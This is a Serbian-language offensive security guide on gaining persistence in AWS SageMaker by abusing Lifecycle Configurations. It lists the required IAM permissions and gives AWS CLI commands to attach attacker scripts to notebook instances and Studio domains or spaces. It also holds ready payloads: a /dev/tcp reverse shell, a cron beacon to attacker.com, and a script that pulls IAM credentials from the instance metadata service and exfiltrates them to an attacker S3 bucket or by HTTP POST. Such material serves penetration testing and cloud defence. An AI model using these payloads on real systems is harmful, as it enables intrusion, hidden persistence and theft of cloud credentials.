# AWS - SageMaker Lifecycle Configuration Persistence

## Pregled tehnika postojanosti

Ovaj odeljak opisuje metode za sticanje postojanosti u SageMaker-u zloupotrebom Lifecycle Configurations (LCCs), uključujući reverzne shelove, cron poslove, krađu kredencijala putem IMDS-a i SSH backdoor-e. Ovi skripti se izvršavaju sa IAM ulogom instance i mogu da opstanu kroz restarte. Većina tehnika zahteva izlazni pristup mreži, ali korišćenje usluga na AWS kontrolnoj ravni može i dalje omogućiti uspeh ako je okruženje u 'VPC-only' režimu.
#### Napomena: SageMaker notebook instance su u suštini upravljane EC2 instance konfigurirane posebno za radne opterećenja mašinskog učenja.

## Potrebne dozvole
* Notebook Instances:
```
sagemaker:CreateNotebookInstanceLifecycleConfig
sagemaker:UpdateNotebookInstanceLifecycleConfig
sagemaker:CreateNotebookInstance
sagemaker:UpdateNotebookInstance
```
* Studio aplikacije:
```
sagemaker:CreateStudioLifecycleConfig
sagemaker:UpdateStudioLifecycleConfig
sagemaker:UpdateUserProfile
sagemaker:UpdateSpace
sagemaker:UpdateDomain
```
## Postavite konfiguraciju životnog ciklusa na Notebook instancama

### Primer AWS CLI komandi:
```bash
# Create Lifecycle Configuration*

aws sagemaker create-notebook-instance-lifecycle-config \
--notebook-instance-lifecycle-config-name attacker-lcc \
--on-start Content=$(base64 -w0 reverse_shell.sh)


# Attach Lifecycle Configuration to Notebook Instance*

aws sagemaker update-notebook-instance \
--notebook-instance-name victim-instance \
--lifecycle-config-name attacker-lcc
```
## Postavite konfiguraciju životnog ciklusa na SageMaker Studio

Konfiguracije životnog ciklusa mogu se povezati na različitim nivoima i različitim tipovima aplikacija unutar SageMaker Studio.

### Nivo domena studija (svi korisnici)
```bash
# Create Studio Lifecycle Configuration*

aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-studio-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)


# Apply LCC to entire Studio Domain*

aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
### Studio Space Level (Individual or Shared Spaces)
```bash
# Update SageMaker Studio Space to attach LCC*

aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
"JupyterServerAppSettings": {
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
}
}'
```
## Tipovi konfiguracija životnog ciklusa Studio aplikacija

Konfiguracije životnog ciklusa mogu se posebno primeniti na različite tipove SageMaker Studio aplikacija:
* JupyterServer: Pokreće skripte tokom pokretanja Jupyter servera, idealno za mehanizme postojanosti poput obrnute ljuske i cron poslova.
* KernelGateway: Izvršava se tokom pokretanja aplikacije kernel gateway, korisno za inicijalnu postavku ili postojan pristup.
* CodeEditor: Primjenjuje se na Code Editor (Code-OSS), omogućavajući skripte koje se izvršavaju pri početku sesija uređivanja koda.

### Primer komande za svaku vrstu:

### JupyterServer
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-jupyter-lcc \
--studio-lifecycle-config-app-type JupyterServer \
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
```
### KernelGateway
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
--studio-lifecycle-config-app-type KernelGateway \
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
```
### CodeEditor
```bash
aws sagemaker create-studio-lifecycle-config \
--studio-lifecycle-config-name attacker-codeeditor-lcc \
--studio-lifecycle-config-app-type CodeEditor \
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
```
### Kritične informacije:
* Priključivanje LCC-ova na nivou domena ili prostora utiče na sve korisnike ili aplikacije unutar opsega.
* Zahteva više dozvole (sagemaker:UpdateDomain, sagemaker:UpdateSpace) što je obično izvodljivije na nivou prostora nego na nivou domena.
* Kontrole na mrežnom nivou (npr., strogo filtriranje izlaza) mogu sprečiti uspešne obrnute ljuske ili eksfiltraciju podataka.

## Obrnuta ljuska putem konfiguracije životnog ciklusa

SageMaker konfiguracije životnog ciklusa (LCC) izvršavaju prilagođene skripte kada se instanca beležnice pokrene. Napadač sa dozvolama može uspostaviti trajnu obrnutu ljusku.

### Primer tereta:
```
#!/bin/bash
ATTACKER_IP="<ATTACKER_IP>"
ATTACKER_PORT="<ATTACKER_PORT>"
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
```
## Cron Job Persistence via Lifecycle Configuration

Napadač može da ubaci cron poslove putem LCC skripti, obezbeđujući periodično izvršavanje malicioznih skripti ili komandi, omogućavajući prikrivenu persistenciju.

### Payload Example:
```
#!/bin/bash
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
CRON_JOB="*/30 * * * * $CRON_CMD"

mkdir -p /home/ec2-user/SageMaker/.local_tasks
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
chmod +x $PAYLOAD_PATH

(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
```
## Ekstrakcija akreditiva putem IMDS (v1 i v2)

Konfiguracije životnog ciklusa mogu da upitaju Servis metapodataka instance (IMDS) kako bi preuzele IAM akreditive i ekstraktovale ih na lokaciju pod kontrolom napadača.

### Primer tereta:
```bash
#!/bin/bash
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json

# Exfiltrate via S3*

aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json

# Alternatively, exfiltrate via HTTP POST*

curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
```

